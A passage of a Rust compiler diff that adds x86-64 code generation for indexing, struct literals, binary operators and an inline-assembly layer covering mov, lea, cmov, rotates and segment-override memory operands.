args, .. } => self.gen_call(ns, fname, args)?, + Expr::DerefAssign { ptr, value } => { + // Same shape as FieldAssign - evaluate value, stash it, + // evaluate ptr, then width-correct store at [rcx]. + let inner_ty = self.expr_type(ptr); + let pointee_ty = pointee(&inner_ty) + .map(String::from) + .unwrap_or_else(|| inner_ty.clone()); + self.gen_expr(value)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_expr(ptr)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); + self.emit_store_width(&pointee_ty, Reg64::Rcx); + } + Expr::Index { base, index } => { + self.gen_index_load(base, index)?; + } + Expr::IndexAssign { base, index, value } => { + self.gen_index_store(base, index, value)?; + } + Expr::StructLit { ty, fields, .. } => { + let layout = self.struct_layouts.get(ty) + .ok_or_else(|| format!( + "unknown struct `{ty}` in struct literal" + ))?; + let raw_size = layout.size; + let tmp_name = format!("__lit_tmp_{}", self.label_counter); + self.label_counter += 1; + let off = self.alloc_local_sized(&tmp_name, raw_size); + // Zero-fill, then write each field. Address of the slot + // ends up in rax for the caller to use as the struct + // base. Order: zero, fields, lea rax. + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + let qwords = ((raw_size + 7) / 8) as i32; + for i in 0..qwords { + self.enc.mov_rbp_disp_r64(off + i * 8, Reg64::Rax); + } + self.emit_struct_lit_into_rbp(ty, fields, off)?; + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + } + } + Ok(()) + } + + fn emit_struct_lit_into_rbp( + &mut self, + ty: &str, + fields: &[(String, Expr)], + base_off: i32, + ) -> Result<(), String> { + // Clone the layout fields out so we can call back into gen_expr + // without holding a borrow of self.struct_layouts. + let layout = self.struct_layouts.get(ty) + .ok_or_else(|| format!("unknown struct `{ty}` in struct literal"))? + .clone(); + for (fname, fval) in fields { + let f = layout.fields.get(fname).ok_or_else(|| format!( + "struct `{ty}` has no field `{fname}`" + ))?; + let foff = base_off + f.offset; + self.gen_expr(fval)?; + match f.size { + 1 => self.enc.mov_byte_r64disp_r8(Reg64::Rbp, foff, Reg64::Rax), + 2 => self.enc.mov_word_r64disp_r16(Reg64::Rbp, foff, Reg64::Rax), + 4 => self.enc.mov_dword_r64disp_r32(Reg64::Rbp, foff, Reg64::Rax), + 8 => self.enc.mov_rbp_disp_r64(foff, Reg64::Rax), + n => return Err(format!( + "struct literal: field `{ty}.{fname}` has size {n}; \ + only 1/2/4/8 byte fields supported" + )), + } + } + Ok(()) + } + + fn gen_index_load(&mut self, base: &Expr, index: &Expr) -> Result<(), String> { + let elem_ty = self.index_element_type(base)?; + let elem_size = self.type_size(&elem_ty); + if self.struct_layouts.contains_key(&elem_ty) { + return Err(format!( + "indexing yields a struct-typed element (`{elem_ty}`) - \ + in-register struct values aren't supported. Index a pointer or \ + use `&base[i]` then `.field`." + )); + } + + // Evaluate the index first, save it, then evaluate the base. The + // base is an arbitrary expression (var, field, call, deref) so it + // gets the standard rcx-scratch path. + self.gen_expr(index)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_index_base(base)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); // rcx = base + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rdx); // rdx = index + + match elem_size { + 1 => self.enc.movzx_r64_byte_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + 2 => self.enc.movzx_r64_word_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + 4 => self.enc.mov_r32_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + 8 => self.enc.mov_r64_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + n => { + // Fall-back: imul rdx, rdx, n; mov rax, [rcx + rdx] + self.enc.mov_r64_imm64(Reg64::Rax, n as u64); + // imul rdx, rax = REX.W 0F AF D0 - uses rdx <- rdx*rax + self.enc.emit_raw(0x48); + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xAF); + self.enc.emit_raw(0xD0); + self.enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rcx, 0); + // For non-power-of-2 sizes we just deliver the qword at + // the computed offset. Callers needing partial-width + // loads should declare a more precise element type. + let _ = Reg64::Rdx; // suppress unused warning if any + } + } + Ok(()) + } + + /// Lower base[index] = value. Same register convention as + /// [gen_index_load], plus the value spills to a stack slot while + /// the base/index are computed. + fn gen_index_store(&mut self, base: &Expr, index: &Expr, value: &Expr) -> Result<(), String> { + let elem_ty = self.index_element_type(base)?; + let elem_size = self.type_size(&elem_ty); + if self.struct_layouts.contains_key(&elem_ty) { + return Err(format!( + "indexed write to a struct-typed element (`{elem_ty}`) isn't supported. \ + Write field-by-field via `((TYPE)&base[i]).field = ...`." + )); + } + + // Save the value to a stack slot, then the index, then evaluate the + // base. After: rcx = base, rdx = index, rax = value. + self.gen_expr(value)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_expr(index)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_index_base(base)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); // rcx = base + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rdx); // rdx = index + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); // rax = value + + match elem_size { + 1 => self.enc.mov_byte_base_idx_r8(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + 2 => self.enc.mov_word_base_idx_r16(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + 4 => self.enc.mov_dword_base_idx_r32(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + 8 => self.enc.mov_qword_base_idx_r64(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + n => return Err(format!( + "indexed store with element size {n} isn't supported \ + (only 1/2/4/8 today)" + )), + } + Ok(()) + } + + fn gen_index_base(&mut self, base: &Expr) -> Result<(), String> { + self.gen_expr(base) + } + + /// Look at the static type of base and decide what element type + /// base[i] produces. Either T[N] to T, T* to T, or an error. + fn index_element_type(&self, base: &Expr) -> Result { + let ty = self.expr_type(base); + if let Some(elem) = Self::element_type(&ty) { + Ok(elem) + } else { + Err(format!( + "cannot index a value of type `{ty}` - only pointer (`T*`) \ + and array (`T[N]`) types support `[i]`" + )) + } + } + + fn gen_binary(&mut self, op: &str, lhs: &Expr, rhs: &Expr) -> Result<(), String> { + // Short-circuit boolean ops + if op == "&&" || op == "||" { + let l_short = self.new_label(if op == "&&" {"and_sc"} else {"or_sc"}); + let l_end = self.new_label("logic_end"); + self.gen_expr(lhs)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(if op == "&&" { Cond::Z } else { Cond::Nz }, &l_short); + self.gen_expr(rhs)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(if op == "&&" { Cond::Z } else { Cond::Nz }, &l_short); + self.enc.mov_r64_imm64(Reg64::Rax, if op == "&&" {1} else {0}); + self.enc.jmp_label(&l_end); + self.enc.place_code_label(&l_short); + self.enc.mov_r64_imm64(Reg64::Rax, if op == "&&" {0} else {1}); + self.enc.place_code_label(&l_end); + return Ok(()); + } + + // Standard binary: eval lhs, save (paired for alignment), eval rhs, combine. + self.gen_expr(lhs)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); // align padding + self.gen_expr(rhs)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); + + match op { + "+" => self.enc.add_r64_r64(Reg64::Rax, Reg64::Rcx), + "-" => self.enc.sub_r64_r64(Reg64::Rax, Reg64::Rcx), + "*" => { + // imul rax, rcx = REX.W 0F AF C1 + self.enc.emit_raw(0x48); + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xAF); + self.enc.emit_raw(0xC1); + } + "/" | "%" => { + // cqo + idiv rcx, then move rdx -> rax for % + self.enc.emit_raw(0x48); self.enc.emit_raw(0x99); // cqo + self.enc.emit_raw(0x48); self.enc.emit_raw(0xF7); self.enc.emit_raw(0xF9); // idiv rcx + if op == "%" { self.enc.mov_r64_r64(Reg64::Rax, Reg64::Rdx); } + } + "==" | "!=" | "<" | ">" | "<=" | ">=" => { + self.enc.cmp_r64_r64(Reg64::Rax, Reg64::Rcx); + // setcc al + let cc = match op { + "==" => 0x94, "!=" => 0x95, + "<" => 0x9C, ">=" => 0x9D, + "<=" => 0x9E, ">" => 0x9F, + _ => unreachable!(), + }; + self.enc.emit_raw(0x0F); self.enc.emit_raw(cc); self.enc.emit_raw(0xC0); + // movzx eax, al - 3 bytes, implicit zero-extend to rax + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xB6); self.enc.emit_raw(0xC0); + } + "&" => self.enc.and_r64_r64(Reg64::Rax, Reg64::Rcx), + "|" => self.enc.or_r64_r64 (Reg64::Rax, Reg64::Rcx), + "^" => self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rcx), + "<<" => self.enc.shl_r64_cl(Reg64::Rax), + ">>" => self.enc.sar_r64_cl(Reg64::Rax), + _ => return Err(format!("unknown binary op: {op}")), + } + Ok(()) + } + + + fn gen_asm(&mut self, lines: &[AsmLine]) -> Result<(), String> { + // Per-asm-block label prefix. Bumped once per asm { ... } + // so a function with two asm blocks declaring loop_top: + // doesn't collide. + let block_id = self.label_counter; + self.label_counter += 1; + let mangle = |name: &str| format!("__asm{block_id}_{name}"); + + for line in lines { + if !matches!(line.body, AsmBody::Label(_)) { + self.enc.dbg_mark(line.line, line.col, "asm"); + } + + match &line.body { + AsmBody::Label(name) => { + let lbl = mangle(name); + self.enc.place_code_label(&lbl); + } + AsmBody::Db(bytes) => { + for b in bytes { self.enc.emit_raw(*b); } + } + AsmBody::Op0 { mnem } => self.gen_asm_op0(mnem)?, + AsmBody::Op1 { mnem, op } => self.gen_asm_op1(mnem, op, &mangle)?, + AsmBody::Op2 { mnem, dst, src } => self.gen_asm_op2(mnem, dst, src)?, + } + } + Ok(()) + } + + fn gen_asm_op0(&mut self, mnem: &str) -> Result<(), String> { + match mnem { + "ret" => self.enc.ret(), + "nop" => self.enc.nop(), + "int3" => self.enc.int3(), + "syscall" => self.enc.syscall_(), + "cld" => self.enc.cld(), + other => return Err(format!("asm: unknown 0-operand mnemonic `{other}`")), + } + Ok(()) + } + + fn gen_asm_op1 String>( + &mut self, mnem: &str, op: &AsmOperand, mangle: &F, + ) -> Result<(), String> { + // Jump / call mnemonics - operand is a label (asm-local or + // function-symbol) OR a register (indirect call/jmp). + let jcc = match mnem { + "je" | "jz" => Some(Cond::Eq), + "jne" | "jnz" => Some(Cond::Ne), + "jl" => Some(Cond::Lt), + "jg" => Some(Cond::Gt), + "jle" => Some(Cond::Le), + "jge" => Some(Cond::Ge), + "jb" => Some(Cond::B), + "jbe" => Some(Cond::Be), + "ja" => Some(Cond::A), + "jae" => Some(Cond::Ae), + "js" => Some(Cond::S), + "jns" => Some(Cond::Ns), + _ => None, + }; + if let Some(cond) = jcc { + return self.gen_asm_branch_to(op, mangle, |enc, lbl| enc.jcc_label(cond, lbl)); + } + if mnem == "jmp" { + return match op { + AsmOperand::Reg(r) => { self.enc.jmp_r64(*r); Ok(()) } + _ => self.gen_asm_branch_to(op, mangle, |enc, lbl| enc.jmp_label(lbl)), + }; + } + if mnem == "call" { + return match op { + AsmOperand::Reg(r) => { self.enc.call_r64(*r); Ok(()) } + AsmOperand::Sym(name) => { + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + self.enc.call_label(name); + Ok(()) + } else if self.extern_fns.contains(name) { + if !self.kind.is_object() { + return Err(format!( + "asm: `call %{name}` - `{name}` is `extern`, \ + only callable in --type=bof|coff builds." + )); + } + let imp = format!("__imp_{name}"); + self.enc.call_extern(&imp); + Ok(()) + } else { + Err(format!("asm: `call %{name}` - no function named `{name}` in scope")) + } + } + AsmOperand::Mem(mem) => { + self.emit_load_mem(Reg64::Rax, mem)?; + self.enc.call_r64(Reg64::Rax); + Ok(()) + } + AsmOperand::Imm(_) => Err("asm: `call ` - immediate not supported".into()), + }; + } + + // Single-register / single-operand ops. + match mnem { + "push" => match op { + AsmOperand::Reg(r) => { self.enc.push_r64(*r); Ok(()) } + AsmOperand::Imm(n) => { + // push imm32 - sign-extended to 64. + let imm = (*n as i64) as i32; + if (*n as i64) != imm as i64 { + return Err(format!("asm: `push {n}` - immediate out of i32 range")); + } + self.enc.push_imm32(imm); + Ok(()) + } + AsmOperand::Sym(name) => { + // push %local - push the local's VALUE. + self.emit_load_sym_into(Reg64::Rax, name)?; + self.enc.push_r64(Reg64::Rax); + Ok(()) + } + AsmOperand::Mem(mem) => { + self.emit_load_mem(Reg64::Rax, mem)?; + self.enc.push_r64(Reg64::Rax); + Ok(()) + } + }, + "pop" => match op { + AsmOperand::Reg(r) => { self.enc.pop_r64(*r); Ok(()) } + AsmOperand::Sym(name) => { + // pop %local - pop into rax, then store. + self.enc.pop_r64(Reg64::Rax); + self.emit_store_sym_from(name, Reg64::Rax) + } + _ => Err("asm: `pop` requires a register or %local destination".into()), + }, + "inc" | "dec" | "neg" | "not" | "bswap" => { + let reg = match op { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` requires a register operand")), + }; + match mnem { + "inc" => self.enc.inc_r64(reg), + "dec" => self.enc.dec_r64(reg), + "neg" => self.enc.neg_r64(reg), + "not" => self.enc.not_r64(reg), + "bswap" => self.enc.bswap_r64(reg), + _ => unreachable!(), + } + Ok(()) + } + other => Err(format!("asm: unknown 1-operand mnemonic `{other}`")), + } + } + + /// Helper for jmp/jcc targeting - operand may be a %name + /// (function symbol) or a bare identifier we wrap as an + /// asm-local label. + fn gen_asm_branch_to( + &mut self, op: &AsmOperand, mangle: &F, emit: E, + ) -> Result<(), String> + where + F: Fn(&str) -> String, + E: FnOnce(&mut Encoder, &str), + { + let target = match op { + AsmOperand::Sym(name) => { + // A %name in a jump position means a function + // symbol (e.g. jmp %retry). Anything else is an + // asm-local label. + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + name.clone() + } else { + mangle(name) + } + } + AsmOperand::Reg(_) | AsmOperand::Imm(_) | AsmOperand::Mem(_) => { + return Err("asm: jump target must be a label (use `jmp reg` for indirect)".into()); + } + }; + emit(&mut self.enc, &target); + Ok(()) + } + + fn gen_asm_op2( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + // cmovcc - condition nibble shared with jcc. + let cmov = match mnem { + "cmove" | "cmovz" => Some(Cond::Eq), + "cmovne" | "cmovnz" => Some(Cond::Ne), + "cmovl" => Some(Cond::Lt), + "cmovg" => Some(Cond::Gt), + "cmovle" => Some(Cond::Le), + "cmovge" => Some(Cond::Ge), + "cmovb" => Some(Cond::B), + "cmovbe" => Some(Cond::Be), + "cmova" => Some(Cond::A), + "cmovae" => Some(Cond::Ae), + "cmovs" => Some(Cond::S), + "cmovns" => Some(Cond::Ns), + _ => None, + }; + if let Some(cond) = cmov { + return self.gen_asm_cmov(cond, dst, src); + } + match mnem { + "mov" => self.gen_asm_mov(dst, src), + "lea" => self.gen_asm_lea(dst, src), + "movsxb" | "movsxw" | "movsxd" => { + self.gen_asm_movsx(mnem, dst, src) + } + "rol" | "ror" => self.gen_asm_rotate(mnem, dst, src), + "xchg" => self.gen_asm_xchg(dst, src), + "add" | "sub" | "xor" | "and" | "or" | "cmp" | "test" => { + self.gen_asm_alu2(mnem, dst, src) + } + other => Err(format!("asm: unknown 2-operand mnemonic `{other}`")), + } + } + + /// cmovcc dst, src - reg-reg only. + fn gen_asm_cmov( + &mut self, cond: Cond, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `cmovcc` destination must be a register".into()), + }; + let s = match src { + AsmOperand::Reg(r) => *r, + _ => return Err( + "asm: `cmovcc` source must be a register (load from memory first)".into() + ), + }; + self.enc.cmovcc_r64_r64(cond, d, s); + Ok(()) + } + + /// rol/ror dst, imm8 or rol/ror dst, cl. + fn gen_asm_rotate( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` destination must be a register")), + }; + match src { + AsmOperand::Imm(n) => { + let count = u8::try_from(*n & 0x3F).map_err(|_| { + format!("asm: `{mnem}` rotate count must fit in u8") + })?; + match mnem { + "rol" => self.enc.rol_r64_imm8(d, count), + "ror" => self.enc.ror_r64_imm8(d, count), + _ => unreachable!(), + } + Ok(()) + } + // cl parses as Sym since the parser only knows r64 names. + AsmOperand::Sym(name) if name == "cl" => { + match mnem { + "rol" => self.enc.rol_r64_cl(d), + "ror" => self.enc.ror_r64_cl(d), + _ => unreachable!(), + } + Ok(()) + } + AsmOperand::Reg(Reg64::Rcx) => { + match mnem { + "rol" => self.enc.rol_r64_cl(d), + "ror" => self.enc.ror_r64_cl(d), + _ => unreachable!(), + } + Ok(()) + } + AsmOperand::Reg(_) => Err(format!( + "asm: `{mnem} reg, reg` - the count register must be cl (or rcx)" + )), + _ => Err(format!( + "asm: `{mnem}` source must be an immediate count or cl" + )), + } + } + + /// movsxb/w/d dst, [mem] or movsxd dst, r32. + fn gen_asm_movsx( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` destination must be a register")), + }; + match (mnem, src) { + (_, AsmOperand::Mem(mem)) => { + let seg = mem.seg; + match self.mem_addressing(mem)? { + ResolvedMem::RbpDisp(disp) => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + match mnem { + "movsxb" => self.enc.movsx_r64_byte_r64disp(d, Reg64::Rbp, disp), + "movsxw" => self.enc.movsx_r64_word_r64disp(d, Reg64::Rbp, disp), + "movsxd" => self.enc.movsxd_r64_r64disp(d, Reg64::Rbp, disp), + _ => unreachable!(), + } + Ok(()) + } + ResolvedMem::BaseDisp { base, disp } => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + match mnem { + "movsxb" => self.enc.movsx_r64_byte_r64disp(d, base, disp), + "movsxw" => self.enc.movsx_r64_word_r64disp(d, base, disp), + "movsxd" => self.enc.movsxd_r64_r64disp(d, base, disp), + _ => unreachable!(), + } + Ok(()) + } + ResolvedMem::SegAbs { .. } => Err(format!( + "asm: `{mnem}` with a segmented disp-only operand is not supported - \ + load through a base register first" + )), + _ => Err(format!( + "asm: `{mnem}` indexed / data / sym memory addressing not yet supported" + )), + } + } + ("movsxd", AsmOperand::Reg(s)) => { + self.enc.movsxd_r64_r64(d, *s); + Ok(()) + } + (_, AsmOperand::Reg(_)) => Err(format!( + "asm: `{mnem} reg, reg` is not supported - use a [mem] source" + )), + _ => Err(format!( + "asm: `{mnem}` source must be a memory operand" + )), + } + } + + /// xchg a, b - reg-reg only. + fn gen_asm_xchg( + &mut self, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let a = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `xchg` operands must both be registers".into()), + }; + let b = match src { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `xchg` operands must both be registers".into()), + }; + self.enc.xchg_r64_r64(a, b); + Ok(()) + } + + /// Lower mov dst, src over every dst/src shape we accept. + fn gen_asm_mov(&mut self, dst: &AsmOperand, src: &AsmOperand) -> Result<(), String> { + match (dst, src) { + // mov reg, reg + (AsmOperand::Reg(d), AsmOperand::Reg(s)) => { + self.enc.mov_r64_r64(*d, *s); Ok(()) + } + // mov reg, imm + (AsmOperand::Reg(d), AsmOperand::Imm(n)) => { + self.enc.mov_r64_imm64(*d, *n as u64); Ok(()) + } + // mov reg, %name + (AsmOperand::Reg(d), AsmOperand::Sym(name)) => { + self.emit_load_sym_into(*d, name) + } + // mov reg, [mem] + (AsmOperand::Reg(d), AsmOperand::Mem(mem)) => { + self.emit_load_mem(*d, mem) + } + // mov %name, reg + (AsmOperand::Sym(name), AsmOperand::Reg(s)) => { + self.emit_store_sym_from(name, *s) + } + // mov %name, imm + (AsmOperand::Sym(name), AsmOperand::Imm(n)) => { + self.enc.mov_r64_imm64(Reg64::Rax, *n as u64); + self.emit_store_sym_from(name, Reg64::Rax) + } + // mov [mem], reg + (AsmOperand::Mem(mem), AsmOperand::Reg(s)) => { + self.emit_store_mem(mem, *s) + } + // mov [mem], imm - synthesize via rax scratch. + (AsmOperand::Mem(mem), AsmOperand::Imm(n)) => { + self.enc.mov_r64_imm64(Reg64::Rax, *n as u64); + self.emit_store_mem(mem, Reg64::Rax) + } + (AsmOperand::Imm(_), _) => { + Err("asm: `mov , ...` - destination can't be an immediate".into()) + } + _ => Err("asm: unsupported `mov` operand combination".into()), + } + } + + /// lea reg, src - load effective address. src must produce + /// an address: a [mem] operand, a %global (rip-relative + /// data label), or a %fn (rip-relative code label). + fn gen_asm_lea(&mut self, dst: &AsmOperand, src: &AsmOperand) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `lea` destination must be a register".into()), + }; + match src { + AsmOperand::Mem(mem) => self.emit_lea_mem(d, mem), + AsmOperand::Sym(name) => { + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + self.enc.lea_r64_code(d, name); + Ok(()) + } else if let Some(label) = self.global_label(name) { + self.enc.lea_r64_data(d, &label); + Ok(()) + } else if let Some(&off) = self.locals.get(name) { + self.enc.lea_r64_r64disp(d, Reg64::Rbp, off); + Ok(()) + } else { + Err(format!( + "asm: `lea {d:?}, %{name}` - `{name}` is not a local, global, or function" + )) + } + } + _ => Err("asm: `lea` source must be a memory operand, %local, %global, or %fn".into()), + } + } + + /// Lower add/sub/xor/and/or/cmp/test dst, src. Routes by + /// operand shape - we mostly need (reg,reg), (reg,imm), and + /// the convenience (reg,%local) load-then-op shape. + fn gen_asm_alu2( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` destination must be a register")), + }; + // Materialise src into a register (rcx if dst != rcx, else rdx). + let s_reg = match src { + AsmOperand::Reg(r) => *r, + AsmOperand::Imm(n) => { + let imm_i32 = i32::try_from(*n).map_err(|_| { + format!("asm: `{mnem}` immediate {n} out of i32 range") + })?; + match mnem { + "add" => { self.enc.add_r64_imm32(d, imm_i32); return Ok(()); } + "sub" => { self.enc.sub_r64_imm32(d, imm_i32); return Ok(()); } + "xor" => { self.enc.xor_r64_imm32(d, imm_i32); return Ok(()); } + "and" => { self.enc.and_r64_imm32(d, imm_i32); return Ok(()); } + "or" => { self.enc.or_r64_imm32(d, imm_i32); return Ok(()); } + "cmp" => { self.enc.cmp_r64_imm32(d, imm_i32); return Ok(()); } + "test" => { + // No test reg, imm in our encoder yet - + // route through rcx scratch. + let scratch = if d == Reg64::Rcx { Reg64::Rdx } else { Reg64::Rcx }; + self.enc.mov_r64_imm64(scratch, *n as u64); + self.enc.test_r64_r64(d, scratch); + return Ok(()); + } + _ => unreachable!(), + } + } + AsmOperand::Sym(name) => { + let scratch = if d == Reg64::Rcx { Reg64::Rdx } else { Reg64::Rcx }; + self.emit_load_sym_into(scratch, name)?; + scratch + } + AsmOperand::Mem(mem) => { + let scratch = if d == Reg64::Rcx { Reg64::Rdx } else { Reg64::Rcx }; + self.emit_load_mem(scratch, mem)?; + scratch + } + }; + match mnem { + "add" => self.enc.add_r64_r64(d, s_reg), + "sub" => self.enc.sub_r64_r64(d, s_reg), + "xor" => self.enc.xor_r64_r64(d, s_reg), + "and" => self.enc.and_r64_r64(d, s_reg), + "or" => self.enc.or_r64_r64(d, s_reg), + "cmp" => self.enc.cmp_r64_r64(d, s_reg), + "test" => self.enc.test_r64_r64(d, s_reg), + _ => unreachable!(), + } + Ok(()) + } + + + /// Look up name and emit mov dst, . + fn emit_load_sym_into(&mut self, dst: Reg64, name: &str) -> Result<(), String> { + if let Some(&off) = self.locals.get(name) { + self.enc.mov_r64_rbp_disp(dst, off); + return Ok(()); + } + if let Some(label) = self.global_label(name) { + self.enc.mov_r64_data(dst, &label); + return Ok(()); + } + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + // mov reg, %fn - accepted as a synonym for lea reg, %fn + // since loading a function's "value" only makes sense as + // its address. + self.enc.lea_r64_code(dst, name); + return Ok(()); + } + Err(format!("asm: `%{name}` - not a local, global, or function in scope")) + } + + /// Store src into the location named by name. Locals get a + /// frame-slot store; globals get a rip-relative store; function + /// names are an error (you can't assign to code). + fn emit_store_sym_from(&mut self, name: &str, src: Reg64) -> Result<(), String> { + if let Some(&off) = self.locals.get(name) { + self.enc.mov_rbp_disp_r64(off, src); + return Ok(()); + } + if let Some(label) = self.global_label(name) { + self.enc.mov_data_r64(&label, src); + return Ok(()); + } + if self.fn_ret_types.contains_key(name) { + return Err(format!("asm: cannot assign to function `{name}`")); + } + Err(format!("asm: `%{name}` - not a local or global in scope")) + } + + /// mov dst, [mem] - qword load. Narrower widths via db for now. + fn emit_load_mem(&mut self, dst: Reg64, mem: &AsmMem) -> Result<(), String> { + let seg = mem.seg; + let resolved = self.mem_addressing(mem)?; + // RIP-relative loads ignore segment overrides. + if seg.is_some() && matches!(resolved, ResolvedMem::RipData(_)) { + return Err( + "asm: segment override on a `%global` address is meaningless \ + (RIP-relative loads ignore segments). Drop the `gs:` / `fs:` prefix.".into() + ); + } + match resolved { + ResolvedMem::RbpDisp(disp) => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64_rbp_disp(dst, disp); + } + ResolvedMem::BaseDisp { base, disp } => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64_r64disp(dst, base, disp); + } + ResolvedMem::SegAbs { disp } => { + let s = seg.expect("SegAbs implies seg override"); + self.enc.emit_seg_prefix(s); + self.enc.mov_r64_disp32(dst, disp); + } + ResolvedMem::BaseIdx { base, idx, scale, disp } => { + // Encoder only has no-disp SIB; for disp != 0 we lea then load. + if disp == 0 { + match scale { + 8 => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64_base_idx(dst, base, idx); + } + _ => return Err(format!( + "asm: indexed load with scale {scale} not yet supported (use 8 for qword)" + )), + } + } else { + if seg.is_some() { + return Err( + "asm: indexed memory with a non-zero displacement plus a \ + segment override is not supported - load the address into \ + a register first.".into() + ); + } + self.enc.lea_r64_base_idx_scale(dst, base, idx, scale); + if disp != 0 { self.enc.add_r64_imm32(dst, disp); } + self.enc.mov_r64_r64disp(dst, dst, 0); + } + } + ResolvedMem::RipData(label) => { + self.enc.mov_r64_data(dst, &label); + } + } + Ok(()) + } + + /// mov [mem], src - qword store. Mirror of emit_load_mem. + fn emit_store_mem(&mut self, mem: &AsmMem, src: Reg64) -> Result<(), String> { + let seg = mem.seg; + let resolved = self.mem_addressing(mem)?; + if seg.is_some() && matches!(resolved, ResolvedMem::RipData(_)) { + return Err( + "asm: segment override on a `%global` address is meaningless \ + (RIP-relative stores ignore segments). Drop the `gs:` / `fs:` prefix.".into() + ); + } + match resolved { + ResolvedMem::RbpDisp(disp) => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_rbp_disp_r64(disp, src); + } + ResolvedMem::BaseDisp { base, disp } => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64disp_r64(base, disp, src); + } + ResolvedMem::SegAbs { disp } => { + let s = seg.expect("SegAbs implies seg override"); + self.enc.emit_seg_prefix(s); + self.enc.mov_disp32_r64(disp, src); + } + ResolvedMem::BaseIdx { base, idx, scale, disp } => { + if disp == 0 && scale == 8 { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_qword_base_idx_r64(base, idx, src); + } else { + return Err(format!( + "asm: indexed store with scale {scale}/disp {disp} \ + not yet supported (use [reg+reg*8] without disp)" + )); + } + } + ResolvedMem::RipData(label) => { + self.enc.mov_data_r64(&label, src); + } + } + Ok(()) + } + + /// lea dst, [mem] - effective-address computation. + /// Segment overrides are nonsense on lea and rejected. + fn emit_lea_mem(&mut self, dst: Reg64, mem: &AsmMem) -> Result<(), String> { + if mem.seg.is_some() { + return Err( + "asm: `lea` does not accept a segment-override prefix - effective \ + addresses are computed without consulting any segment.".into() + ); + } + match self.mem_addressing(mem)? { + ResolvedMem::RbpDisp(disp) => { + self.enc.lea_r64_r64disp(dst, Reg64::Rbp, disp); + } + ResolvedMem::BaseDisp { base, disp } => { + self.enc.lea_r64_r64disp(dst, base, disp); + } + ResolvedMem::BaseIdx { base, idx, scale, disp } => { + self.enc.lea_r64_base_idx_scale(dst, base, idx, scale); + if disp != 0 { self.enc.add_r64_imm32(dst, disp); } + } + ResolvedMem::RipData(label) => { + self.enc.lea_r64_data(dst, &label); + } + ResolvedMem::SegAbs { .. } => { + // Unreachable past the seg guard above; defensive only. + return Err( + "asm: `lea` does not accept disp-only memory operands".into() + ); + } + } + Ok(()) + } + + /// Translate a parsed AsmMem into one of the addressing + /// shapes the encoder knows how to emit. Resolves %name + /// bases to the right concrete form. + fn mem_addressing(&self, mem: &AsmMem) -> 